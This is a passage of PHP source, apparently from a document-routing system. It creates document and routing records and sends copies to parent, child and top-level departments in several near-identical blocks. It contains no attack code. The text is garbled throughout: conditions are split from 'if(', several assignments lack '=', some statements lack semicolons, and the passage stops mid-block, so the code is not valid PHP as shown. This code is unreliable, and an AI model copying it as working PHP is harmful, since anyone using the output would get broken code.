//echo "PtID2=".$oRs2->PtID."<br>";
                                    
$oRs2->DrsDocTypeNo=$oRs2->DrsDocTypeNo;
                                    
$oRs2->DrsReceiveDate=$timesend;
                                    
$oDlc->SearchByKey($oDoc->DlcID); $oDlc->GetRecord(); 
                                    
$oRs2->DrsReceivePersonId='';
                                    
$oRs2->DrsSendDate=$oRs2->DrsSendDate;
                                    
$oRs2->DrsSendPersonId=$oRs2->DrsSendPersonId;
                                    
$oRs2->DrsSendDlcID=$oRs2->DrsSendDlcID;
                                    if(
$checkDocSpeedDate=="Y"){ $speedDate=splitDateForm($DocSpeedLevelDueDate,"/"); }else{ $speedDate=$DrsDocDueDate; }
                                    
$oRs2->DrsDocDueDate=$speedDate;
                                    
//echo "speedDate2=".$speedDate."<br>";
                                    
$oRs2->DrsDlcIDCreate=$DlcIDlogin;
                                    
$oRs2->DrsPsIDCreate=$personId;
                                    
$oRs2->DrsPropose=$DrsSend;
                                    
$oRs2->DrsSign="";
                                    
$oRs2->DrsFromDrsID=$oRs4->DrsID;
                                    
$oRs2->DocGroup=$DocGroup;
                                    
$oRs2->DrsflagRead=$oRs2->DrsflagRead;
                                    
$oRs2->DrsByPass=$oRs2->DrsByPass;
                                    
$oRs2->DrsSend=$oRs2->DrsSend;
                                    
$oRs2->DrsSendToPs=$oRs2->DrsSendToPs;
                                    
$oRs2->DrsDelete=$oRs2->DrsDelete;
                                    
$oRs2->DrsMainPs=$oRs2->DrsMainPs;
                                    
$oRs2->AnID=$AnID;
                                    
$oRs2->DrsDocReceiveDate=$oRs2->DrsDocReceiveDate;
                                    
$oRs2->DocRefAnsDate=$oRs2->DocRefAnsDate;
                                    
$oRs2->DrsSendDocNew=$oRs2->DrsSendDocNew;
                                    
$oRs2->DrsInboxID=$oRs2->DrsInboxID;
                                    if(
$firstpost=="1" && ($AnID!="" && $AnID!="0")){
                                        
$oRs2->DrsstartDatePost=splitDateForm($DrsstartDatePost,"/");
                                        
$oRs2->DrsendDatePost=splitDateForm($DrsendDatePost,"/");
                                    }else{
                                        
$oRs2->DrsstartDatePost=$oRs4->DrsstartDatePost;
                                        
$oRs2->DrsendDatePost=$oRs4->DrsendDatePost;
                                        
                                    }
                                    
$checkflagCommit $oRs2->Save();
                                    if(!
$checkflagCommit){ $flagCommit=$checkflagCommit;   }
                             } 
                        }    
                            
//------send to child dept----------------------
                            
if($oDPt3->deptId==$oDPt->deptId){
                                
$oDPt4->RSmenuByDeptParent2($oDPt3->deptId);
                                while(
$oDPt4->GetRecord()){
                                        
$pssend=ShowSendtoPs2($oDPt4->deptId); 
                                        if(
$pssend!=''){
                                         echo 
"send to child dept=".$oDPt4->deptName." pssend=".$pssend." <br>";
                                            
/////////////////////
                                                
$oDoc->AddNew();
                                                
$oDoc->DocID=$oDoc->GetNextCode();
                                                
$oDoc->DocPID=$DocIDParent;
                                                
//echo "DocPID=".$oDoc->DocPID."<br>";
                                                
$oDoc->DlcID=$pssend;   
                                                
//echo "pssend=".$pssend."<br>";
                                                
$oDoc->PtID=$PtID;
                                                
//echo "PtID=".$oDoc->PtID."<br>";
                                                
$oDoc->DtID=$oDoc2->DtID
                                                
$oDoc->DslID=$oDoc2->DslID;
                                                
$oDoc->DclID=$oDoc2->DclID;
                                                
$oDoc->DsID="0";
                                                
$oDoc->RsID="3"//sendin
                                                
$oDoc->DocDateCreate=$timesend;
                                                
$DocDateCreate=$oDoc->DocDateCreate;
                                                
$oDoc->DocUserCreate=$pssend;
                                                
//echo "DocUserCreate=".$oDoc->DocUserCreate."<br>";
                                                //$DocTypeNo=ShowRunningDoc($oDoc->RsID,$oDoc->DtID,$oDP2->deptId); 
                                                
$oDoc->DocTypeNo=$oDoc->DocTypeNo;
                                                
//echo "DocTypeNo=".$DocTypeNo."<br>";
                                                
$oDoc->DocDate=$oDoc2->DocDate;
                                                
$oDoc->DocNo=$oDoc2->DocNo;
                                                
$oDoc->DocSubject=$oDoc2->DocSubject;
                                                
$oDoc->DocFrom=$oDoc2->DocFrom;
                                                
$oDoc->DocTo=$oDoc2->DocTo;
                                                
$oDoc->DocShortDesc=$oDoc2->DocShortDesc;
                                                if(
$checkDocSpeedDate=="Y"){ $speedDate=splitDateForm($DocSpeedLevelDueDate,"/"); }else{ $speedDate=$oDoc->DocSpeedLevelDueDate; }
                                                
$oDoc->DocSpeedLevelDueDate=$speedDate;
                                                
//echo "speedDate=".$speedDate."<br>";
                                                
$oDoc->DocStart=$oDoc2->DocStart;
                                                
$oDoc->DocFinish=$oDoc2->DocFinish;
                                                
$oDoc->DocGroup=$oDoc2->DocGroup;
                                                
$oDoc->DocRef=$oDoc2->DocRef;
                                                
$oDoc->DocCircular=$oDoc2->DocCircular;
                                                
$oDoc->DocfCir=$oDoc2->DocfCir;
                                                
$oDoc->DocOther=$oDoc2->DocOther;
                                                
$oDoc->CertificatePs=$oDoc2->CertificatePs;
                                                
$oDoc->fDelete=$oDoc2->fDelete;
                                                
$oDoc->endDoc=$oDoc->endDoc;
                                                
$oDoc->sendToPs=$oDoc2->sendToPs;
                                                
$oDoc->AnID=$AnID;
                                                
$oDoc->DocRefAns=$oDoc2->DocRefAns;
                                                
$oDoc->DocRefAnsID=$oDoc2->DocRefAnsID;
                                                if(
$firstpost=="1" && ($AnID!="" && $AnID!="0")){
                                                    
$oDoc->DocstartDatePost=splitDateForm($DrsstartDatePost,"/");
                                                    
$oDoc->DocendDatePost=splitDateForm($DrsendDatePost,"/");
                                                }else{
                                                    
$oDoc->DocstartDatePost=$oDoc2->DocstartDatePost;
                                                    
$oDoc->DocendDatePost=$oDoc2->DocendDatePost;
                                                    
                                                }
                                                
$oDoc->DocMainPost=$oDoc->DocMainPost;
                                                
$oDoc->DocGetPost=$oDoc->DocGetPost;
                                                
                                                    if(
$DocShowIn=="1" && $DocShowOut=="2"){
                                                        
$addDocShowInOut="3";
                                                    }else{
                                                        if(
$DocShowIn=="1"){
                                                            
$addDocShowInOut=$DocShowIn;
                                                        }else if(
$DocShowIn=="2"){
                                                            
$addDocShowInOut=$DocShowIn;
                                                        }
                                                    }
                                                
                                                
$oDoc->DocShowInOut=$addDocShowInOut;
                                                
$oDoc->DocDateGetPost=$oDoc->DocDateGetPost;
                                                
$oDoc->useMainDocNo=$oDoc2->useMainDocNo;
                                                
$oDoc->DocforSign=$oDoc2->DocforSign;
                                                
$checkflagCommit $oDoc->Save();
                                                
//echo "-----".$checkflagCommit."<br>";
                                                
if(!$checkflagCommit){ $flagCommit=$checkflagCommit;   }
                                                
//echo "end<br>";
                                                
$checkupdate++;
                                                
                                                
$oRs2->AddNew();
                                                
$oRs2->DrsID=$oRs2->GetNextCode();
                                                
//echo "DrsID=".$oRs2->DrsID."<br>";
                                                
$oRs2->DocID=$oDoc->DocID;
                                                
$oRs2->DlcID=$pssend;
                                                
$oRs2->DsID="0";
                                                
$oRs2->personId=$oRs2->personId;
                                                
$oRs2->PtID=$PtID;
                                                
//echo "PtID2=".$oRs2->PtID."<br>";
                                                
$oRs2->DrsDocTypeNo=$oRs2->DrsDocTypeNo;
                                                
$oRs2->DrsReceiveDate=$timesend;
                                                
$oDlc->SearchByKey($oDoc->DlcID); $oDlc->GetRecord(); 
                                                
$oRs2->DrsReceivePersonId='';
                                                
$oRs2->DrsSendDate=$oRs2->DrsSendDate;
                                                
$oRs2->DrsSendPersonId=$oRs2->DrsSendPersonId;
                                                
$oRs2->DrsSendDlcID=$oRs2->DrsSendDlcID;
                                                if(
$checkDocSpeedDate=="Y"){ $speedDate=splitDateForm($DocSpeedLevelDueDate,"/"); }else{ $speedDate=$DrsDocDueDate; }
                                                
$oRs2->DrsDocDueDate=$speedDate;
                                                
//echo "speedDate2=".$speedDate."<br>";
                                                
$oRs2->DrsDlcIDCreate=$DlcIDlogin;
                                                
$oRs2->DrsPsIDCreate=$personId;
                                                
$oRs2->DrsPropose=$DrsSend;
                                                
$oRs2->DrsSign="";
                                                
$oRs2->DrsFromDrsID=$oRs4->DrsID;
                                                
$oRs2->DocGroup=$DocGroup;
                                                
$oRs2->DrsflagRead=$oRs2->DrsflagRead;
                                                
$oRs2->DrsByPass=$oRs2->DrsByPass;
                                                
$oRs2->DrsSend=$oRs2->DrsSend;
                                                
$oRs2->DrsSendToPs=$oRs2->DrsSendToPs;
                                                
$oRs2->DrsDelete=$oRs2->DrsDelete;
                                                
$oRs2->DrsMainPs=$oRs2->DrsMainPs;
                                                
$oRs2->AnID=$AnID;
                                                
$oRs2->DrsDocReceiveDate=$oRs2->DrsDocReceiveDate;
                                                
$oRs2->DocRefAnsDate=$oRs2->DocRefAnsDate;
                                                
$oRs2->DrsSendDocNew=$oRs2->DrsSendDocNew;
                                                
$oRs2->DrsInboxID=$oRs2->DrsInboxID;
                                                if(
$firstpost=="1" && ($AnID!="" && $AnID!="0")){
                                                    
$oRs2->DrsstartDatePost=splitDateForm($DrsstartDatePost,"/");
                                                    
$oRs2->DrsendDatePost=splitDateForm($DrsendDatePost,"/");
                                                }else{
                                                    
$oRs2->DrsstartDatePost=$oRs4->DrsstartDatePost;
                                                    
$oRs2->DrsendDatePost=$oRs4->DrsendDatePost;
                                                    
                                                }
                                                
$checkflagCommit $oRs2->Save();
                                                if(!
$checkflagCommit){ $flagCommit=$checkflagCommit;   }
                                         } 
                                }
                            }
                    }            
                }
                
        }else{
//----not send All deptId----------------------------------------------------------------
                
$oDPt->SearchByKey($DlcdeptId);
                
$oDPt->GetRecord();
                
                
//---send to deptParentId=0------------------------
                
if($oDPt->deptParentId==0){
                    
$oDPt2->RSmenuByDeptParent2($oDPt->deptParentId);
                    while(
$oDPt2->GetRecord()){
                        if(
$deptPs[$oDPt2->deptId]!=""){
                            
//echo "send to deptParentId=0 =".$oDPt2->deptName." pssend=".$deptPs[$oDPt2->deptId]." <br>";
                                //--------------add documents
                                
$oDoc->AddNew();
                                
$oDoc->DocID=$oDoc->GetNextCode();
                                
$oDoc->DocPID=$DocIDParent;
                                
//echo "DocPID=".$oDoc->DocPID."<br>";
                                
$oDoc->DlcID=$deptPs[$oDPt2->deptId];
                                
//echo "DlcID=".$oDoc->DlcID."<br>";
                                
$oDoc->PtID=$PtID;
                                
//echo "PtID=".$oDoc->PtID."<br>";
                                
$oDoc->DtID=$oDoc2->DtID
                                
$oDoc->DslID=$oDoc2->DslID;
                                
$oDoc->DclID=$oDoc2->DclID;
                                
$oDoc->DsID="0";
                                
$oDoc->RsID="3"//sendin
                                
$oDoc->DocDateCreate=$timesend;
                                
$DocDateCreate=$oDoc->DocDateCreate;
                                
$oDoc->DocUserCreate=$deptPssend[$oDPt2->deptId];
                                
//echo "DocUserCreate=".$oDoc->DocUserCreate."<br>";
                                //$DocTypeNo=ShowRunningDoc($oDoc->RsID,$oDoc->DtID,$oDP2->deptId); 
                                
$oDoc->DocTypeNo=$oDoc->DocTypeNo;
                                
//echo "DocTypeNo=".$DocTypeNo."<br>";
                                
$oDoc->DocDate=$oDoc2->DocDate;
                                
$oDoc->DocNo=$oDoc2->DocNo;
                                
$oDoc->DocSubject=$oDoc2->DocSubject;
                                
$oDoc->DocFrom=$oDoc2->DocFrom;
                                
$oDoc->DocTo=$oDoc2->DocTo;
                                
$oDoc->DocShortDesc=$oDoc2->DocShortDesc;
                                if(
$checkDocSpeedDate=="Y"){ $speedDate=splitDateForm($DocSpeedLevelDueDate,"/"); }else{ $speedDate=$oDoc->DocSpeedLevelDueDate; }
                                
$oDoc->DocSpeedLevelDueDate=$speedDate;
                                
//echo "speedDate=".$speedDate."<br>";
                                
$oDoc->DocStart=$oDoc2->DocStart;
                                
$oDoc->DocFinish=$oDoc2->DocFinish;
                                
$oDoc->DocGroup=$oDoc2->DocGroup;
                                
$oDoc->DocRef=$oDoc2->DocRef;
                                
$oDoc->DocCircular=$oDoc2->DocCircular;
                                
$oDoc->DocfCir=$oDoc2->DocfCir;
                                
$oDoc->DocOther=$oDoc2->DocOther;
                                
$oDoc->CertificatePs=$oDoc2->CertificatePs;
                                
$oDoc->fDelete=$oDoc2->fDelete;
                                
$oDoc->endDoc=$oDoc->endDoc;
                                
$oDoc->sendToPs=$oDoc2->sendToPs;
                                
$oDoc->AnID=$AnID;
                                
$oDoc->DocRefAns=$oDoc2->DocRefAns;
                                
$oDoc->DocRefAnsID=$oDoc2->DocRefAnsID;
                                if(
$firstpost=="1" && ($AnID!="" && $AnID!="0")){
                                    
$oDoc->DocstartDatePost=splitDateForm($DrsstartDatePost,"/");
                                    
$oDoc->DocendDatePost=splitDateForm($DrsendDatePost,"/");
                                }else{
                                    
$oDoc->DocstartDatePost=$oDoc2->DocstartDatePost;
                                    
$oDoc->DocendDatePost=$oDoc2->DocendDatePost;
                                    
                                }
                                
$oDoc->DocMainPost=$oDoc->DocMainPost;
                                
$oDoc->DocGetPost=$oDoc->DocGetPost;
                                
        
                                    if(
$DocShowIn=="1" && $DocShowOut=="2"){
                                        
$addDocShowInOut="3";
                                    }else{
                                        if(
$DocShowIn=="1"){
                                            
$addDocShowInOut=$DocShowIn;
                                        }else if(
$DocShowIn=="2"){
                                            
$addDocShowInOut=$DocShowIn;
                                        }
                                    }
        
                                
                                
$oDoc->DocShowInOut=$addDocShowInOut;
                                
$oDoc->DocDateGetPost=$oDoc->DocDateGetPost;
                                
$oDoc->useMainDocNo=$oDoc2->useMainDocNo;
                                
$oDoc->DocforSign=$oDoc2->DocforSign;
                                
$checkflagCommit $oDoc->Save();
                                if(!
$checkflagCommit){ $flagCommit=$checkflagCommit;   }
                                
//echo "end<br>";
                                
$checkupdate++;
                                
                                
$oRs2->AddNew();
                                
$oRs2->DrsID=$oRs2->GetNextCode();
                                
//echo "DrsID=".$oRs2->DrsID."<br>";
                                
$oRs2->DocID=$oDoc->DocID;
                                
$oRs2->DlcID=$deptPs[$oDPt2->deptId];
                                
$oRs2->DsID="0";
                                
$oRs2->personId=$oRs2->personId;
                                
$oRs2->PtID=$PtID;
                                
//echo "PtID2=".$oRs2->PtID."<br>";
                                
$oRs2->DrsDocTypeNo=$oRs2->DrsDocTypeNo;
                                
$oRs2->DrsReceiveDate=$timesend;
                                
$oDlc->SearchByKey($oDoc->DlcID); $oDlc->GetRecord(); 
                                
$oRs2->DrsReceivePersonId='';
                                
$oRs2->DrsSendDate=$oRs2->DrsSendDate;
                                
$oRs2->DrsSendPersonId=$oRs2->DrsSendPersonId;
                                
$oRs2->DrsSendDlcID=$oRs2->DrsSendDlcID;
                                if(
$checkDocSpeedDate=="Y"){ $speedDate=splitDateForm($DocSpeedLevelDueDate,"/"); }else{ $speedDate=$DrsDocDueDate; }
                                
$oRs2->DrsDocDueDate=$speedDate;
                                
//echo "speedDate2=".$speedDate."<br>";
                                
$oRs2->DrsDlcIDCreate=$DlcIDlogin;
                                
$oRs2->DrsPsIDCreate=$personId;
                                
$oRs2->DrsPropose=$DrsSend;
                                
$oRs2->DrsSign="";
                                
$oRs2->DrsFromDrsID=$oRs4->DrsID;
                                
$oRs2->DocGroup=$DocGroup;
                                
$oRs2->DrsflagRead=$oRs2->DrsflagRead;
                                
$oRs2->DrsByPass=$oRs2->DrsByPass;
                                
$oRs2->DrsSend=$oRs2->DrsSend;
                                
$oRs2->DrsSendToPs=$oRs2->DrsSendToPs;
                                
$oRs2->DrsDelete=$oRs2->DrsDelete;
                                
$oRs2->DrsMainPs=$oRs2->DrsMainPs;
                                
$oRs2->AnID=$AnID;
                                
$oRs2->DrsDocReceiveDate=$oRs2->DrsDocReceiveDate;
                                
$oRs2->DocRefAnsDate=$oRs2->DocRefAnsDate;
                                
$oRs2->DrsSendDocNew=$oRs2->DrsSendDocNew;
                                
$oRs2->DrsInboxID=$oRs2->DrsInboxID;
                                if(
$firstpost=="1" && ($AnID!="" && $AnID!="0")){
                                    
$oRs2->DrsstartDatePost=splitDateForm($DrsstartDatePost,"/");
                                    
$oRs2->DrsendDatePost=splitDateForm($DrsendDatePost,"/");
                                }else{
                                    
$oRs2->DrsstartDatePost=$oRs4->DrsstartDatePost;
                                    
$oRs2->DrsendDatePost=$oRs4->DrsendDatePost;
                                    
                                }
                                
$checkflagCommit $oRs2->Save();
                                if(!
$checkflagCommit){ $flagCommit=$checkflagCommit;   }
                        }
                                                    
                            
                    
                    
                    
///-----------my child
                            //-----send to child deptId
                            //------send to child dept----------------------
                            
if($oDPt2->deptId==$oDPt->deptId){
                                
$oDPt4->RSmenuByDeptParent2($oDPt2->deptId);
                                while(
$oDPt4->GetRecord()){
                                        
$pssend=ShowSendtoPs2($oDPt4->deptId); 
                                        if(
$deptPs[$oDPt4->deptId]!=""){
                                            
//echo "send to deptParentId=0 =".$oDPt2->deptName." pssend=".$deptPs[$oDPt2->deptId]." <br>";
                                                //--------------add documents
                                                
$oDoc->AddNew();
                                                
$oDoc->DocID=$oDoc->GetNextCode();
                                                
$oDoc->DocPID=$DocIDParent;
                                                
//echo "DocPID=".$oDoc->DocPID."<br>";
                                                
$oDoc->DlcID=$deptPs[$oDPt4->deptId];
                                                
//echo "DlcID=".$oDoc->DlcID."<br>";
                                                
$oDoc->PtID=$PtID;
                                                
//echo "PtID=".$oDoc->PtID."<br>";
                                                
$oDoc->DtID=$oDoc2->DtID
                                                
$oDoc->DslID=$oDoc2->DslID;
                                                
$oDoc->DclID=$oDoc2->DclID;
                                                
$oDoc->DsID="0";
                                                
$oDoc->RsID="3"//sendin
                                                
$oDoc->DocDateCreate=$timesend;
                                                
$DocDateCreate=$oDoc->DocDateCreate;
                                                
$oDoc->DocUserCreate=$deptPssend[$oDPt4->deptId];
                                                
//echo "DocUserCreate=".$oDoc->DocUserCreate."<br>";
                                                //$DocTypeNo=ShowRunningDoc($oDoc->RsID,$oDoc->DtID,$oDP2->deptId); 
                                                
$oDoc->DocTypeNo=$oDoc->DocTypeNo;
                                                
//echo "DocTypeNo=".$DocTypeNo."<br>";
                                                
$oDoc->DocDate=$oDoc2->DocDate;
                                                
$oDoc->DocNo=$oDoc2->DocNo;
                                                
$oDoc->DocSubject=$oDoc2->DocSubject;
                                                
$oDoc->DocFrom=$oDoc2->DocFrom;
                                                
$oDoc->DocTo=$oDoc2->DocTo;
                                                
$oDoc->DocShortDesc=$oDoc2->DocShortDesc;
                                                if(
$checkDocSpeedDate=="Y"){ $speedDate=splitDateForm($DocSpeedLevelDueDate,"/"); }else{ $speedDate=$oDoc->DocSpeedLevelDueDate; }
                                                
$oDoc->DocSpeedLevelDueDate=$speedDate;
                                                
//echo "speedDate=".$speedDate."<br>";
                                                
$oDoc->DocStart=$oDoc2->DocStart;
                                                
$oDoc->DocFinish=$oDoc2->DocFinish;
                                                
$oDoc->DocGroup=$oDoc2->DocGroup;
                                                
$oDoc->DocRef=$oDoc2->DocRef;
                                                
$oDoc->DocCircular=$oDoc2->DocCircular;
                                                
$oDoc->DocfCir=$oDoc2->DocfCir;
                                                
$oDoc->DocOther=$oDoc2->DocOther;
                                                
$oDoc->CertificatePs=$oDoc2->CertificatePs;
                                                
$oDoc->fDelete=$oDoc2->fDelete;
                                                
$oDoc->endDoc=$oDoc->endDoc;
                                                
$oDoc->sendToPs=$oDoc2->sendToPs;
                                                
$oDoc->AnID=$AnID;
                                                
$oDoc->DocRefAns=$oDoc2->DocRefAns;
                                                
$oDoc->DocRefAnsID=$oDoc2->DocRefAnsID;
                                                if(
$firstpost=="1" && ($AnID!="" && $AnID!="0")){
                                                    
$oDoc->DocstartDatePost=splitDateForm($DrsstartDatePost,"/");
                                                    
$oDoc->DocendDatePost=splitDateForm($DrsendDatePost,"/");
                                                }else{
                                                    
$oDoc->DocstartDatePost=$oDoc2->DocstartDatePost;
                                                    
$oDoc->DocendDatePost=$oDoc2->DocendDatePost;
                                                    
                                                }
                                                
$oDoc->DocMainPost=$oDoc->DocMainPost;
                                                
$oDoc->DocGetPost=$oDoc->DocGetPost;
                                                
                        
                                                    if(
$DocShowIn=="1" && $DocShowOut=="2"){
                                                        
$addDocShowInOut="3";
                                                    }else{
                                                        if(
$DocShowIn=="1"){
                                                            
$addDocShowInOut=$DocShowIn;
                                                        }else if(
$DocShowIn=="2"){
                                                            
$addDocShowInOut=$DocShowIn;
                                                        }
                                                    }
                        
                                                
                                                
$oDoc->DocShowInOut=$addDocShowInOut;
                                                
$oDoc->DocDateGetPost=$oDoc->DocDateGetPost;
                                                
$oDoc->useMainDocNo=$oDoc2->useMainDocNo;
                                                
$oDoc->DocforSign=$oDoc2->DocforSign;
                                                
$checkflagCommit $oDoc->Save();
                                                if(!
$checkflagCommit){ $flagCommit=$checkflagCommit;   }
                                                
//echo "end<br>";
                                                
$checkupdate++;
                                                
                                                
$oRs2->AddNew();
                                                
$oRs2->DrsID=$oRs2->GetNextCode();
                                                
//echo "DrsID=".$oRs2->DrsID."<br>";
                                                
$oRs2->DocID=$oDoc->DocID;
                                                
$oRs2->DlcID=$deptPs[$oDPt4->deptId];
                                                
$oRs2->DsID="0";
                                                
$oRs2->personId=$oRs2->personId;
                                                
$oRs2->PtID=$PtID;
                                                
//echo "PtID2=".$oRs2->PtID."<br>";
                                                
$oRs2->DrsDocTypeNo=$oRs2->DrsDocTypeNo;
                                                
$oRs2->DrsReceiveDate=$timesend;
                                                
$oDlc->SearchByKey($oDoc->DlcID); $oDlc->GetRecord(); 
                                                
$oRs2->DrsReceivePersonId='';
                                                
$oRs2->DrsSendDate=$oRs2->DrsSendDate;
                                                
$oRs2->DrsSendPersonId=$oRs2->DrsSendPersonId;
                                                
$oRs2->DrsSendDlcID=$oRs2->DrsSendDlcID;
                                                if(
$checkDocSpeedDate=="Y"){ $speedDate=splitDateForm($DocSpeedLevelDueDate,"/"); }else{ $speedDate=$DrsDocDueDate; }
                                                
$oRs2->DrsDocDueDate=$speedDate;
                                                
//echo "speedDate2=".$speedDate."<br>";
                                                
$oRs2->DrsDlcIDCreate=$DlcIDlogin;
                                                
$oRs2->DrsPsIDCreate=$personId;
                                                
$oRs2->DrsPropose=$DrsSend;
                                                
$oRs2->DrsSign="";
                                                
$oRs2->DrsFromDrsID=$oRs4->DrsID;
                                                
$oRs2->DocGroup=$DocGroup;
                                                
$oRs2->DrsflagRead=$oRs2->DrsflagRead;
                                                
$oRs2->DrsByPass=$oRs2->DrsByPass;
                                                
$oRs2->DrsSend=$oRs2->DrsSend;
                                                
$oRs2->DrsSendToPs=$oRs2->DrsSendToPs;
                                                
$oRs2->DrsDelete=$oRs2->DrsDelete;
                                                
$oRs2->DrsMainPs=$oRs2->DrsMainPs;
                                                
$oRs2->AnID=$AnID;
                                                
$oRs2->DrsDocReceiveDate=$oRs2->DrsDocReceiveDate;
                                                
$oRs2->DocRefAnsDate=$oRs2->DocRefAnsDate;
                                                
$oRs2->DrsSendDocNew=$oRs2->DrsSendDocNew;
                                                
$oRs2->DrsInboxID=$oRs2->DrsInboxID;
                                                if(
$firstpost=="1" && ($AnID!="" && $AnID!="0")){
                                                    
$oRs2->DrsstartDatePost=splitDateForm($DrsstartDatePost,"/");
                                                    
$oRs2->DrsendDatePost=splitDateForm($DrsendDatePost,"/");
                                                }else{
                                                    
$oRs2->DrsstartDatePost=$oRs4->DrsstartDatePost;
                                                    
$oRs2->DrsendDatePost=$oRs4->DrsendDatePost;
                                                    
                                                }
                                                
$checkflagCommit $oRs2->Save();
                                                if(!
$checkflagCommit){ $flagCommit=$checkflagCommit;   }
                                         } 
                                }
                            }

                    
                    }                    
                }else{  
                
//---send to not deptParentId = 0------------------------
                    //------send to parent dept----------------------
                    
$oDPt2->SearchByKey($oDPt->deptParentId);
                    
$oDPt2->GetRecord();
                    if(
$deptPs[$oDPt2->deptId]!=""){
                        
//echo "send to parent dept =".$oDPt2->deptName." pssend=".$deptPs[$oDPt2->deptId]." <br>";
                            //--------------add documents
                            
$oDoc->AddNew();
                            
$oDoc->DocID=$oDoc->GetNextCode();
                            
$oDoc->DocPID=$DocIDParent;
                            
//echo "DocPID=".$oDoc->DocPID."<br>";
                            
$oDoc->DlcID=$deptPs[$oDPt2->deptId];
                            
//echo "DlcID=".$oDoc->DlcID."<br>";
                            
$oDoc->PtID=$PtID;
                            
//echo "PtID=".$oDoc->PtID."<br>";
                            
$oDoc->DtID=$oDoc2->DtID
                            
$oDoc->DslID=$oDoc2->DslID;
                            
$oDoc->DclID=$oDoc2->DclID;
                            
$oDoc->DsID="0";
                            
$oDoc->RsID="3"//sendin
                            
$oDoc->DocDateCreate=$timesend;
                            
$DocDateCreate=$oDoc->DocDateCreate;
                            
$oDoc->DocUserCreate=$deptPssend[$oDPt2->deptId];
                            
//echo "DocUserCreate=".$oDoc->DocUserCreate."<br>";
                            //$DocTypeNo=ShowRunningDoc($oDoc->RsID,$oDoc->DtID,$oDP2->deptId); 
                            
$oDoc->DocTypeNo=$oDoc->DocTypeNo;
                            
//echo "DocTypeNo=".$DocTypeNo."<br>";
                            
$oDoc->DocDate=$oDoc2->DocDate;
                            
$oDoc->DocNo=$oDoc2->DocNo;
                            
$oDoc->DocSubject=$oDoc2->DocSubject;
                            
$oDoc->DocFrom=$oDoc2->DocFrom;
                            
$oDoc->DocTo=$oDoc2->DocTo;
                            
$oDoc->DocShortDesc=$oDoc2->DocShortDesc;
                            if(
$checkDocSpeedDate=="Y"){ $speedDate=splitDateForm($DocSpeedLevelDueDate,"/"); }else{ $speedDate=$oDoc->DocSpeedLevelDueDate; }
                            
$oDoc->DocSpeedLevelDueDate=$speedDate;
                            
//echo "speedDate=".$speedDate."<br>";
                            
$oDoc->DocStart=$oDoc2->DocStart;
                            
$oDoc->DocFinish=$oDoc2->DocFinish;
                            
$oDoc->DocGroup=$oDoc2->DocGroup;
                            
$oDoc->DocRef=$oDoc2->DocRef;
                            
$oDoc->DocCircular=$oDoc2->DocCircular;
                            
$oDoc->DocfCir=$oDoc2->DocfCir;
                            
$oDoc->DocOther=$oDoc2->DocOther;
                            
$oDoc->CertificatePs=$oDoc2->CertificatePs;
                            
$oDoc->fDelete=$oDoc2->fDelete;
                            
$oDoc->endDoc=$oDoc->endDoc;
                            
$oDoc->sendToPs=$oDoc2->sendToPs;
                            
$oDoc->AnID=$AnID;
                            
$oDoc->DocRefAns=$oDoc2->DocRefAns;
                            
$oDoc->DocRefAnsID=$oDoc2->DocRefAnsID;
                            if(
$firstpost=="1" && ($AnID!="" && $AnID!="0")){
                                
$oDoc->DocstartDatePost=splitDateForm($DrsstartDatePost,"/");
                                
$oDoc->DocendDatePost=splitDateForm($DrsendDatePost,"/");
                            }else{
                                
$oDoc->DocstartDatePost=$oDoc2->DocstartDatePost;
                                
$oDoc->DocendDatePost=$oDoc2->DocendDatePost;
                                
                            }
                            
$oDoc->DocMainPost=$oDoc->DocMainPost;
                            
$oDoc->DocGetPost=$oDoc->DocGetPost;
                            
    
                                if(
$DocShowIn=="1" && $DocShowOut=="2"){
                                    
$addDocShowInOut="3";
                                }else{
                                    if(
$DocShowIn=="1"){
                                        
$addDocShowInOut=$DocShowIn;
                                    }else if(
$DocShowIn=="2"){
                                        
$addDocShowInOut=$DocShowIn;
                                    }
                                }
    
                            
                            
$oDoc->DocShowInOut=$addDocShowInOut;
                            
$oDoc->DocDateGetPost=$oDoc->DocDateGetPost;
                            
$oDoc->useMainDocNo=$oDoc2->useMainDocNo;
                            
$oDoc->DocforSign=$oDoc2->DocforSign;
                            
$checkflagCommit $oDoc->Save();
                            if(!
$checkflagCommit){ $flagCommit=$checkflagCommit;   }
                            
//echo "end<br>";
                            
$checkupdate++;
                            
                            
$oRs2->AddNew();
                            
$oRs2->DrsID=$oRs2->GetNextCode();
                            
//echo "DrsID=".$oRs2->DrsID."<br>";
                            
$oRs2->DocID=$oDoc->DocID;
                            
$oRs2->DlcID=$deptPs[$oDPt2->deptId];
                            
$oRs2->DsID="0";
                            
$oRs2->personId=$oRs2->personId;
                            
$oRs2->PtID=$PtID;
                            
//echo "PtID2=".$oRs2->PtID."<br>";
                            
$oRs2->DrsDocTypeNo=$oRs2->DrsDocTypeNo;
                            
$oRs2->DrsReceiveDate=$timesend;
                            
$oDlc->SearchByKey($oDoc->DlcID); $oDlc->GetRecord(); 
                            
$oRs2->DrsReceivePersonId='';
                            
$oRs2->DrsSendDate=$oRs2->DrsSendDate;
                            
$oRs2->DrsSendPersonId=$oRs2->DrsSendPersonId;
                            
$oRs2->DrsSendDlcID=$oRs2->DrsSendDlcID;
                            if(
$checkDocSpeedDate=="Y"){ $speedDate=splitDateForm($DocSpeedLevelDueDate,"/"); }else{ $speedDate=$DrsDocDueDate; }
                            
$oRs2->DrsDocDueDate=$speedDate;
                            
//echo "speedDate2=".$speedDate."<br>";
                            
$oRs2->DrsDlcIDCreate=$DlcIDlogin;
                            
$oRs2->DrsPsIDCreate=$personId;
                            
$oRs2->DrsPropose=$DrsSend;
                            
$oRs2->DrsSign="";
                            
$oRs2->DrsFromDrsID=$oRs4->DrsID;
                            
$oRs2->DocGroup=$DocGroup;
                            
$oRs2->DrsflagRead=$oRs2->DrsflagRead;
                            
$oRs2->DrsByPass=$oRs2->DrsByPass;
                            
$oRs2->DrsSend=$oRs2->DrsSend;
                            
$oRs2->DrsSendToPs=$oRs2->DrsSendToPs;
                            
$oRs2->DrsDelete=$oRs2->DrsDelete;
                            
$oRs2->DrsMainPs=$oRs2->DrsMainPs;
                            
$oRs2->AnID=$AnID;
                            
$oRs2->DrsDocReceiveDate=$oRs2->DrsDocReceiveDate;
                            
$oRs2->DocRefAnsDate=$oRs2->DocRefAnsDate;
                            
$oRs2->DrsSendDocNew=$oRs2->DrsSendDocNew;
                            
$oRs2->DrsInboxID=$oRs2->DrsInboxID;
                            if(
$firstpost=="1" && ($AnID!="" && $AnID!="0")){
                                
$oRs2->DrsstartDatePost=splitDateForm($DrsstartDatePost,"/");
                                
